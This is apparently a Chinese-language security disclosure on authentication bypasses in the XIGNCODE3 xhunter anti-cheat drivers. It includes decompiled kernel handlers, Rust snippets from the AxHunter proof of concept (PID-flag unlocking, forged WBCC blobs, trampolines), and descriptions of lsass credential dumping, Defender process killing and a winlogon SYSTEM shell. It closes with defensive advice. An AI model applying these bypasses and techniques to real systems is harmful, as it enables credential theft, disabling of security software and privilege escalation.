
绕过层 2:WBCC blob 中设置 count = 0 —— sub_1400029B8 立即返回成功,无需迭代任何证书链。

4.5 认证层 3:内核 PID 标志门

即使通过层 2,分发 handler 仍会执行 PID 门。sub_140009688 要求调用者 PID 的白名单表项满足 (flags & 0x80000008) == 0x80000008,白名单链表在 qword_140025FD8pid ^ 0x20241015 为键

IDA 实测:

// sub_140009688 @ 0x140009688 —— 认证门(IDA 实测)
bool sub_140009688()
{
  unsigned int CurrentProcessId = PsGetCurrentProcessId();
  return (sub_140009C40(CurrentProcessId) & 0x80000008) == 0x80000008;
}

// sub_140009C40 @ 0x140009C40 —— 白名单查找,键 = pid ^ 0x20241015(IDA 实测)
__int64 __fastcall sub_140009C40(int a1)
{
  v2 = 0;
  ExAcquireFastMutex(&FastMutex);
  v3 = (PVOID *)qword_140025FD8;
  if ( qword_140025FD8 != &qword_140025FD8 ) {
    v4 = a1 ^ 0x20241015;
    while ( *((_DWORD *)v3 + 4) != v4 ) {
      v3 = (PVOID *)*v3;
      if ( v3 == &qword_140025FD8 ) goto LABEL_7;
    }
    v2 = *((_DWORD *)v3 + 5);
  }
LABEL_7:
  ExReleaseFastMutex(&FastMutex);
  return v2;
}

绕过层 3(README 所述,与 v1 同类):

cmd 777 (auth=1)  → flags = 0x80000000  (bit 31)
cmd 779 (auth=0)  → flags = 0xC0000000  (副作用 OR 上位 bit 30)
cmd 775 (auth=1)  → flags = 0xC0000008  (bit 3 来自攻击者输入)

4.6 三层全部被绕过

三层各自的共同误区:身份是通过“持有某个存在于游戏内存中的工件、或由未认证 opcode 设置的工件”来证明的。

  • 层 1(WBMF + Win32StartAddress):证明“持有已签名的 WBMF PE 且线程从其中启动” —— 但 WBMF PE 在同用户内存中,任何同用户进程都能读到。
  • 层 2(WBCC 证书链):count=0 直接短路。
  • 层 3(PID 标志门):未认证的 cmd 777/779/775 写入白名单。

因此,与 v1 相同的三个影响(凭据窃取、EDR 击杀、SYSTEM shell)在 v2026 驱动轨道上依然端到端成立。

4.7 cmd 787 跨进程读原语(v2,逐字节保留)

第 4 章开头已指出“原语(cmd 785 / 787 / 800)本身逐字节保留未变”。这里用 IDA 展开 v2 的 cmd 787 作证。v2 分发表初始化在 sub_140004FA8,其中 dword_140025870 = 0x313(787),其分发表项 type=2(dword_140025888=2)。分发器 sub_140005FF8 中 type=2 表示仅走 PID 门(层 3,sub_140009688(WBCC 校验 sub_1400027F4 只在 type=1/3 时触发),随后因 3 参数槽位为 0 而调用 2 参数 handler sub_140005AAC

// sub_140005AAC @ 0x140005AAC —— cmd 787 handler(v2,IDA 实测;type=2 → 仅 PID 门)
__int64 __fastcall sub_140005AAC(__int64 a1, _DWORD *a2)
{
  a2[6] = 0x4A0; a2[7] = 0x20260507; a2[9] = 0xC0000001; a2[8] = ~*(_DWORD *)(a1 + 0x20);
  if ( !sub_140009688() )             // ← PID 认证门(层 3)
    goto LABEL_12;
  v4 = *(_QWORD *)(a1 + 0x258);       // 目标缓冲 VA(驱动侧)
  v5 = *(_DWORD *)(a1 + 0x260);       // 读取字节数
  v6 = *(_QWORD *)(a1 + 0x250);       // 目标进程内源地址
  result = sub_14000B3D0(*(HANDLE*)(a1 + 0x248), 0x10, &Object);  // 句柄 → EPROCESS
  if ( result < 0 ) return result;
  CurrentProcess = IoGetCurrentProcess();
  if ( Object != CurrentProcess && sub_140009750(Object) ) { a2[9] = 0xC0000001; return 0; }
  v10 = sub_14000BFDC(v4, v5, &Mdl);          // 目标缓冲建 MDL
  v11 = sub_14000C7CC(Object, v6, v10, v5, &v14);  // KeStackAttachProcess 读
  a2[0xA] = v14; a2[9] = v11;
  sub_14000B5D0(Mdl, v10);                    // 清理 MDL
  ObfDereferenceObject(Object);
  return v11;
}

核心读原语 sub_14000C7CC 与 v1 的 sub_140008924 逐字节相同

// sub_14000C7CC @ 0x14000C7CC —— KeStackAttachProcess 读(v2,IDA 实测)
__int64 __fastcall sub_14000C7CC(KPROCESS *a1, u64 a2, __int64 a3, unsigned int a4, unsigned int *a5)
{
  KAPC_STATE ApcState; v8 = 0;
  memset(&ApcState, 0, sizeof(ApcState));
  KeStackAttachProcess(a1, &ApcState);
  for ( i = 0; i < a4; ++i ) {
    if ( a2 >= (u64)MmSystemRangeStart ) { v8 = 0x8000000D; break; }  // 禁止读内核地址
    *(_BYTE *)(i + a3) = *(_BYTE *)(i + a2);    // 逐字节 memcpy
  }
  *a5 = i;
  KeUnstackDetachProcess(&ApcState);
  return v8;
}

配套辅助函数与 v1 同构(IDA 实测):sub_14000B3D0(句柄→进程,ObReferenceObjectByHandle + 访问位穷举)、sub_14000BFDCsub_14000BFECIoAllocateMdl+MmProbeAndLockPages+MmMapLockedPagesSpecifyCache)、sub_14000B5D0MmUnmapLockedPages+MmUnlockPages+IoFreeMdl)、sub_140009750(目标进程白名单/保护检查)。

结论:v2 仅仅是给同一套 cmd 787 原语套上了三层认证包裹;原语代码本身与 v1 一致。三层认证全部被绕过(见 4.6)后,这个跨进程读原语与 v1 拥有完全相同的攻击能力。


5. AxHunter 项目

BlackSnufkin/AxHunter: PoCs for Wellbia XIGNCODE3 anti-cheat xhunter driver family - xhunter1.sys v2023.12.7.78 and xhunter2.sys v2026.6.1.192 (CVE-2026-15430).

AxHunter 是一个 Cargo workspace,包含三个 crate,是上述两个漏洞的 PoC 实现。

5.1 项目结构

AxHunter/
├── Cargo.toml               workspace manifest
├── axhunter-lsa/            共享 crate——驱动无关的 LSA 提取(MemReader trait、
│                              LDR walk、BCrypt 3DES 密钥提取、LogonSessionList、
│                              WDigest)。两个 PoC 共用。
├── axhunter_v1/             xhunter1.sys v2023.12.7.78(无 CVE)
└── axhunter_v2/             xhunter2.sys v2026.6.1.192(CVE-2026-15430)

每个 PoC crate 携带自己的目标驱动二进制(xhunter1.sysxhunter2.sys),axhunter_v2/src/ 中还有从活动 WindSlayer.exe 进程提取的 Wellbia WBMF 模块(wbmf_module.dll)。

统一 CLI:

AxHunter_v1.exe -m {dump|kill|lpe|all} [-t <pid|image>] [-d <device>]
AxHunter_v2.exe -m {dump|kill|lpe|all} [-t <pid|image>] [-d <device>]

5.2 axhunter_v1 实现

src/driver.rs 实现 Xhunteropen_driver() 每次调用先跑 cmd 777 + cmd 775 认证绕过链,再发真实命令。关键常量:

const XHUNTER_MAGIC:    u32   = 0x345821AB;
const CMD_OPEN_PROCESS:   u32 = 785;   // PPL 绕过句柄
const CMD_READ_MEMORY:    u32 = 787;   // KeStackAttachProcess + memcpy
const CMD_CLOSE_HANDLE:   u32 = 800;   // handle stomp
const CMD_INJECT_THREAD:  u32 = 815;   // 0x32F — 内核注入链(与分发表一致,正确,见 §3.5)
const CMD_REGISTER_SELF:  u32 = 777;   // 登记自身 + bit 31
const CMD_SET_PID_FLAGS:  u32 = 775;   // 写任意 PID 低 16 位标志

unlock_self() 实现认证绕过:

pub fn unlock_self(&self) -> Result<()> {
    let pid = unsafe { GetCurrentProcessId() };
    // cmd 777: 登记自身 + 设置 bit 31。0xC0000001 表示"已登记"——可接受。
    let (s, _) = self.send_cmd(CMD_REGISTER_SELF, |_| {})?;
    if s < 0 && (s as u32) != 0xC0000001 { ... }
    // cmd 775: 为自身 PID 写入低 16 位标志 0x0008
    let (s, _) = self.send_cmd(CMD_SET_PID_FLAGS, |req| unsafe {
        *(req.as_mut_ptr().add(REQ_OFF_ARG0) as *mut u32) = pid;
        *(req.as_mut_ptr().add(REQ_OFF_ARG1) as *mut u32) = 0x0008;
    })?;
    ...
}

Session::attach()ReadProcessMemory 探测 KUSER_SHARED_DATA0x7FFE_0000),决定用 RPM 还是驱动侧 cmd 787 回退读取。

5.3 axhunter_v2 实现

src/proto.rs 实现新协议:帧构建、LCG-XOR 加解密、WBCC 构造、send_cmd

pub const REQ_SZ:       usize = 1184;
pub const RESP_SZ:      usize = 786;
pub const SEED_KEY:     u32   = 0x41414141;
pub const MAGIC_XOR:    u32   = 0x70506202;

fn encrypt(buf: &mut [u8]) {
    let sk = u32::from_le_bytes(buf[32..36].try_into().unwrap());
    let mut s: u32 = 1864026567u32.wrapping_sub(1640531535u32.wrapping_mul(sk ^ 0x7B85F243));
    for b in buf[36..].iter_mut() {
        s = 1664525u32.wrapping_mul(s).wrapping_add(1013904223);
        *b ^= ((s >> 23) & 0xFF) as u8;
    }
}

pub fn make_wbcc(pe_base: u64) -> [u8; WBCC_LEN] {
    let mut b = [0u8; WBCC_LEN];
    b[0..4].copy_from_slice(b"WBCC");
    b[4..6].copy_from_slice(&(WBCC_LEN as u16).to_le_bytes());
    b[6..8].copy_from_slice(&1u16.to_le_bytes());
    b[16..24].copy_from_slice(&pe_base.to_le_bytes());
    // count 字段(偏移 12)保持 0 → 绕过层 2 证书链
    b
}

src/wbmf.rs 实现层 1 绕过:map_wbmf()include_bytes!("wbmf_module.dll") 把 Wellbia 的 WBMF DLL 映射到首选基址 0x10000000install_trampoline() 写入 14 字节 FF 25 <abs64> JMP 蹦床;open_worker() 从蹦床(pe+0x500)启动线程执行 NtCreateFile,EA 携带 WBCT blob 把 PE base 交回驱动。

pub fn install_trampoline(pe_ptr: *mut u8, offset: usize, target: u64) {
    let mut tramp = [0u8; 14];
    tramp[0] = 0xFF; tramp[1] = 0x25;
    tramp[6..14].copy_from_slice(&target.to_le_bytes());
    unsafe { ptr::copy_nonoverlapping(tramp.as_ptr(), pe_ptr.add(offset), 14); }
}

蹦床约定(每个 worker 用映射 WBMF PE 内一个槽位):

pe + 0x500  → open_worker      (device open)
pe + 0x520  → kill_worker      (mode: kill)
pe + 0x540  → dump_worker      (mode: dump)
pe + 0x560  → lpe_worker       (mode: lpe)

5.4 三种攻击模式(dump / kill / lpe)

  • dump:cmd 785 拿 lsass.exe 句柄。v1 用 RPM/cmd 787 读;v2 用 cmd 787(KeStackAttachProcess + 字节复制)作为读原语。LDR-walk 目标,在 lsasrv.dll 定位 BCrypt 3DES 密钥 + IV,走 LogonSessionList,解密 NT/SHA1 哈希与 WDigest 明文(逻辑在共享 crate axhunter-lsa)。v2 用 cmd 791(ZwQueryInformationProcess(ProcessHandleInformation=51))取目标句柄表快照。
  • kill:cmd 785 拿目标句柄 → 枚举目标句柄表(v1 用 NtQuerySystemInformation(SystemExtendedHandleInformation);v2 用 cmd 791)→ 对每个句柄执行 cmd 800(KeStackAttachProcess + ObSetHandleAttributes(KernelMode) + ZwClose)。可杀掉 PPL-Antimalware 的 MsMpEng.exe
  • lpe:cmd 785 拿 winlogon.exe 句柄 → VirtualAllocEx + WriteProcessMemory + CreateRemoteThread 运行 41 字节 shellcode:WinExec("cmd.exe", SW_SHOW)(v2 为 WinExec("cmd.exe /c start cmd.exe", SW_SHOW))。子进程继承 winlogon 的 NT AUTHORITY\SYSTEM token + Session 1。
  • all:先 dump,再 kill MsMpEng.exe,然后 lpe。单个模式失败不中断。

6. 反编译核实记录(IDA MCP)

本报告的以下反编译片段均通过 IDA MCP 在 xhunter1.sys(实例 id 0cy4)与 xhunter2.sys(实例 id 2zhx)两个已打开的 IDA 会话中实测取得,与博客文章一致:

函数 地址 驱动 内容
sub_140005E84 0x140005E84 v1 认证门 (flags & 0x80000008) == 0x80000008
sub_140006204 0x140006204 v1 白名单 Flink 遍历
sub_1400030B8 0x1400030B8 v1 cmd 785 handler(已加门)
sub_1400087F4 0x1400087F4 v1 ObOpenObjectByPointer 包装器
sub_140003498 0x140003498 v1 cmd 777 handler(无认证)
sub_140006A10 0x140006A10 v1 register_pid
sub_140006418 0x140006418 v1 设置上位标志
sub_140001DD8 0x140001DD8 v1 cmd 775 handler(无认证)
sub_140003A1C 0x140003A1C v1 ObSetHandleAttributes + ZwClose
sub_140003278 0x140003278 v1 cmd 787 handler(认证门保护)
sub_140008924 0x140008924 v1 KeStackAttachProcess 逐字节读原语
sub_140007874 0x140007874 v1 cmd 787 句柄→进程(访问位穷举)
sub_1400081D0 0x1400081D0 v1 cmd 787 MDL 映射目标缓冲
sub_140001FF8 0x140001FF8 v1 cmd 800 handler(KeStackAttachProcess + 清属性 + 关闭)
sub_14000C380 0x14000C380 v1 枚举目标句柄表并克隆匹配句柄
sub_140001E54 0x140001E54 v1 cmd 815 handler(内核注入,无认证门)
sub_14000A028 0x14000A028 v1 cmd 815 目标解析
sub_14000A7A4 0x14000A7A4 v1 cmd 815 注入核心(RWX 分配 + 起线程)
sub_140002334 0x140002334 v1 cmd 816 handler(返回内部状态结构,非注入)
sub_140001FB4 0x140001FB4 v1 cmd 817 handler(完整性报告,无认证门)
sub_140003D28 0x140003D28 v1 cmd 817 报告子分发器
sub_14000F5AC 0x14000F5AC v2 帧接受门(magic 0x70506202
sub_140002C80 0x140002C80 v2 WBMF RSA-2048 校验器
sub_1400027F4 0x1400027F4 v2 WBCC 每请求校验器
sub_1400029B8 0x1400029B8 v2 WBCC 证书链迭代器(count=0 短路)
sub_140009688 0x140009688 v2 PID 认证门
sub_140009C40 0x140009C40 v2 白名单查找(键 pid ^ 0x20241015
sub_140005AAC 0x140005AAC v2 cmd 787 handler(type=2:仅 PID 门)
sub_14000C7CC 0x14000C7CC v2 KeStackAttachProcess 逐字节读原语(与 v1 相同)

说明:cmd 815 注入链、cmd 787 读原语的具体反编译展开已在本报告 §3.4 / §3.5 / §4.7 中给出。所有代码均来自 IDA 分发表逐项核对 + 函数反编译,未虚构未验证的逻辑。注入原语经分发表核对确为 cmd 815(0x32F),与 AxHunter 源码 CMD_INJECT_THREAD=815 一致。完整性报告分发器实际挂在 cmd 817(0x331)(详见 §3.5)。


7. 影响、修复与防护建议

影响面

  • xhunter1.sys(v2023.12.7.78)无 CVE,但在绝大多数 XIGNCODE3 保护游戏中仍在加载;驱动随游戏卸载后仍残留在 C:\Windows,构成稳定 BYOVD 原语。
  • xhunter2.sys(v2026.6.1.192)对应 CVE-2026-15430,但三层认证均被绕过。
  • 三个能力端到端成立:PPL lsass.exe 凭据窃取、击杀 PPL-Antimalware MsMpEng.exe、经 winlogon.exe 的交互式 SYSTEM shell。

Wellbia 的修复尝试:对第一篇的回应是完整重写 xhunter2.sys(v2026.6.1.192),新增三层加密认证;但三层同属“身份由可被伪造/读取的工件证明”类的认知误区,全部被绕过。

防御建议(针对依赖方/宿主)

  1. 对受害游戏在机器上运行时进行完整安全审计,尤其关注 lsass.exewinlogon.exe、EDR 进程的访问。
  2. xhunter1.sys / xhunter2.sys 加入漏洞驱动封禁(Vulnerable Driver Blocklist)——注意 VDBL 在此前并未拦截这些驱动。
  3. 依赖方应要求 Wellbia 提供覆盖整个驱动族的版本字符串/签名主体/字节特征封禁,而非单一哈希。
  4. 在游戏退出后主动清理残留驱动,避免 BYOVD 持久化。

8. 信息来源


报告撰写日期:2026-08-06。本报告仅用于安全研究与防御参考。

posted @ 2026-08-06 12:17  DirWangK  阅读(62)  评论(0)    收藏  举报